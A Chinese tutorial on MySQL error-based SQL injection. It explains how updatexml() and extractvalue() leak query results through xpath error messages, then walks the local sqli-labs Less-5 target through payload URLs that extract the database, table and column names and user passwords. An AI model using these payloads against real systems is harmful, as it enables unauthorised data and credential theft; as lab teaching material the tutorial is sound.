SQL注入(二)——报错注入

概念

  • 报错注入是SQL注入的一种,页面上没有显示位,但是会输出SQL语句执行错误信息。比如 mysql_error()函数的报错信息。

  • 盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利 用一些方法进行判断或者尝试,这个过程称之为盲注。

基本原理

利用数据库的某些机制,人为制造报错的条件,可以使数据库报错。

此时可以构造一些特殊的条件,导致查询结果能够出现在报错的语句中。这时候我们就能通过报错的语句来获取数据库的信息。

适合使用报错注入的场景

  • 联合查询受限
  • 没有合适的数据返回点
  • 页面会发生报错,能返回错误信息

报错注入的分类

  • xpath语法错误
  • bigint等数据类型溢出
  • count()+rand()+group_by()导致主键重复
  • 空间数据类型函数错误

xpath语法错误

mysql在使用如updatexml() 这类与xml有关的函数时,如果传入的参数不满足xpath语法的要求,就会发生报错。

报错信息会暴露出参数中sql语句的查询结果

常见的两个用于进行报错注入的函数:

  • updatexml( xml_document, xpath_string, new_value)
    • 第1、第3个参数都无关紧要,主要是第2个参数。xpath_string 要求是一个符合xpath语法的字符串,不满足要求就会发生报错。(第一个参数是xml的内容,第二个是需要update的位置xpath路径,第三个是更新后的内容)
  • extractvalue(xml_document,Xpath_string)
    • 与上面一样,xpath_string 是符合xpath语法要求的参数,否则就会报错。

报错注入分析流程

  • 判断是否存在注入
  • 判断注入类型
  • 获取数据库名
  • 获取数据库表名
  • 获取表中的字段
  • 获取字段中的记录

判断是否存在注入

1
http://127.0.0.1/sqli/Less-5/?id=1%27

判断注入类型

1
http://127.0.0.1/sqli/Less-5/?id=1' and 1=1%23
1
http://127.0.0.1/sqli/Less-5/?id=1' and 1=2%23

判断出注入类型涉及到了后续的注入过程中需不需要闭合单引号(’),通过“1’ and 1=1#”和“1’ and 1=2#”进行判断,如果页面有不同的变化,则说明是字符型的注入,因为字符型的参数是需要引号引起来的。

获取数据库名

1
2
 http://127.0.0.1/sqli/Less-5/?id=1' and 
updatexml(1,concat(0x7e,database(),0x7e),1)%23

假如后台sql语句为

1
select * from users where id='$id‘ 

当传入上面的URL后,此语句会被拼接为(下面不再重复这部分)

1
select * from users where id='1' and updatexml(1,concat(0x7e,database(),0x7e),1)#'

获取数据库表名

1
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23

获取表中的字段

1
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)%23

获取字段中的记录

1
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23

注:xpath报错仅会报错32个字符

可以使用substr()截取字符串

1
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),1,31),0x7e),1)%23
1
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),31,31),0x7e),1)%23